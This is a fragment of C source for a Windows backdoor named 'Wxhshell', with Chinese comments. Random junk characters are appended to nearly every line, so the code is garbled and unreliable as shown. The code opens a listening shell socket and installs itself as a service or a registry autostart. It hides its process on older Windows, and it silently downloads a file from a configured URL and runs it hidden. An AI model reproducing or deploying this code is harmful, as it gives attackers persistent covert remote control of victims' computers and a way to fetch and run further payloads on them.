ULONG UniqueProcessId; (KDUX
t.
ULONG InheritedFromUniqueProcessId; Tw< N
} PROCESS_BASIC_INFORMATION; a a=GW%
0Ii*
"?s
PROCNTQSIP NtQueryInformationProcess; dyRKmLb
9pKN^FX,76
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JpEE'#r|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6s{~9
U5]{`C0H?
HANDLE hProcess; CBAMAr
PROCESS_BASIC_INFORMATION pbi; ]A:n]mL
C`z[25o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bsw0+UY=9
if(NULL == hInst ) return 0; )\C:|
J#7\R':}zl
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'ao<gTUbu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (PjC]`FK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XYtDovbv&
N<1u,[+
if (!NtQueryInformationProcess) return 0; c
rPEr
~F^(O{EG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QAigbSn]
if(!hProcess) return 0; G[1:<Vg8
sr+*
q6W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n*6Oa/JG7
37DyDzW)'
CloseHandle(hProcess); LfEeFF=#n
5w)tsGX\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e`%U}_[d
if(hProcess==NULL) return 0; @vdBA hXk
f"zXiUV
HMODULE hMod; &v7$*n27
char procName[255]; :?%$={m
unsigned long cbNeeded; sK8=PZ\
FUic7>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =T'N6x5@
NGIbUH1[
CloseHandle(hProcess); 0Ym+10g
`0Y`]kSY+
if(strstr(procName,"services")) return 1; // 以服务启动 `9BZ))Pg
V9*Z
return 0; // 注册表启动 VMPBM:kG
} ?IR]y-r
,U+y)w]ar
// 主模块 /E F0~iy
int StartWxhshell(LPSTR lpCmdLine) SFVOof#s
{ ~Rd,jfx
SOCKET wsl; 3 f=_F
BOOL val=TRUE; .UF](
int port=0; 9MQ!5Zn
struct sockaddr_in door; S)T]>Ash
{ O+d7,C
if(wscfg.ws_autoins) Install();
#nV F.
Gf'qPLK0
port=atoi(lpCmdLine); G+2!+N\P
R57>z`;
if(port<=0) port=wscfg.ws_port; @> n7
kR2kV"-l
WSADATA data; DPCB=2E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r(;sX
0Q?XU.v
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d[mmwgSR?I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h>AK^fX
door.sin_family = AF_INET; fgrflW$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wVU.j$+_#
door.sin_port = htons(port); xj8yQ Y1
0$)uOUVJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HBHDu;u
closesocket(wsl); \$GM4:R D
return 1; mw2/jA7
} ]X
y2km]
q1!45a
if(listen(wsl,2) == INVALID_SOCKET) { {cmY`to
closesocket(wsl); <d89eV+
return 1; nBw4YDR!
} {~J'J $hn8
Wxhshell(wsl); coa+@g,w7#
WSACleanup(); t5:
1' N9P
L?_'OwaY
return 0; z,pKyInw
= F*SAz
}
WWf#in
}LK +w+h~
// 以NT服务方式启动 g=*'kj7c3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .SZ ZT0Z
{ E,u/^V9x
DWORD status = 0; H_w&_h&
DWORD specificError = 0xfffffff; /-%0y2"7
D d['e
serviceStatus.dwServiceType = SERVICE_WIN32; F/gA[Y|,gI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Kvx~2ZMx6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .nDB{@#
serviceStatus.dwWin32ExitCode = 0; |^l17veA@
serviceStatus.dwServiceSpecificExitCode = 0; n
hT%_se4
serviceStatus.dwCheckPoint = 0; mhh^kwW
serviceStatus.dwWaitHint = 0; P/%5J3_,
yN-o?[o
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X5[.X()M4
if (hServiceStatusHandle==0) return; 2F5*C
%?<Y&t
status = GetLastError(); D,R"P }G
if (status!=NO_ERROR) >3aB{[[N
{ imb.CYS74
serviceStatus.dwCurrentState = SERVICE_STOPPED; okwkMd-yW
serviceStatus.dwCheckPoint = 0; i'bviD
serviceStatus.dwWaitHint = 0; 'uy\vR&Pz
serviceStatus.dwWin32ExitCode = status; ?2d! ^!9
serviceStatus.dwServiceSpecificExitCode = specificError; Z`jc*jgy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Vdo.uUa
return; % YgGw:wZ
} :pz`bFJk
l!S}gbM
serviceStatus.dwCurrentState = SERVICE_RUNNING; |q+3X)Y
serviceStatus.dwCheckPoint = 0; hIBW$
serviceStatus.dwWaitHint = 0; 8d|/^U.w~V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DIAHIV<
}
Dk^,iY(u
su2|x
// 处理NT服务事件,比如:启动、停止 IOL5p*:gz
VOID WINAPI NTServiceHandler(DWORD fdwControl) hYvWD.c}
{ ~F)[H'$A
switch(fdwControl) O@9<7@h+Nl
{ oItEGJ|
case SERVICE_CONTROL_STOP: <GdQ""X
serviceStatus.dwWin32ExitCode = 0; 4hl`~&yDf
serviceStatus.dwCurrentState = SERVICE_STOPPED; z4!Y9
serviceStatus.dwCheckPoint = 0; ~)fd+~4L
serviceStatus.dwWaitHint = 0; ?aMd#.&
{ ,F;<Y9]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fu%D2%V$/
} i!yu%>:M
return; VbU*&{j
case SERVICE_CONTROL_PAUSE: Nbyc,a[o
serviceStatus.dwCurrentState = SERVICE_PAUSED; :`Sd5b>
break; +HAd=DU
case SERVICE_CONTROL_CONTINUE: [B_(,/?
serviceStatus.dwCurrentState = SERVICE_RUNNING; &$H7vdWNy
break; RyuI2jEy
case SERVICE_CONTROL_INTERROGATE: NzBX2
break; I_.Jo `lK~
}; aG*Mj;J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "aT"o
} tKP
zM
oS0rP'V^
// 标准应用程序主函数 _6Z}_SiOl
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A?zxF5rfp
{ =NNA7E7c
XYrZI/R
// 获取操作系统版本 |'+ [ '
OsIsNt=GetOsVer(); $ca>bX]
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1EmZ/@k/Y
[TaYNc!\
// 从命令行安装 o[Gp *o\
if(strpbrk(lpCmdLine,"iI")) Install(); +M s`C)f
}L|cg2y
// 下载执行文件 }f;cA
if(wscfg.ws_downexe) {
26[. te9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h.t2 ;O, b
WinExec(wscfg.ws_filenam,SW_HIDE); 35}]U=
} ZHN}:W/p
,6Ua+\|
if(!OsIsNt) { ?S2!'L
// 如果时win9x,隐藏进程并且设置为注册表启动 M/x*d4b_
HideProc(); QnMN8Q9
StartWxhshell(lpCmdLine); ^MczumG[
} 9zKbzT]
else =5kTzH.
if(StartFromService()) IpYw<2'
// 以服务方式启动 z~0f[As.
StartServiceCtrlDispatcher(DispatchTable); <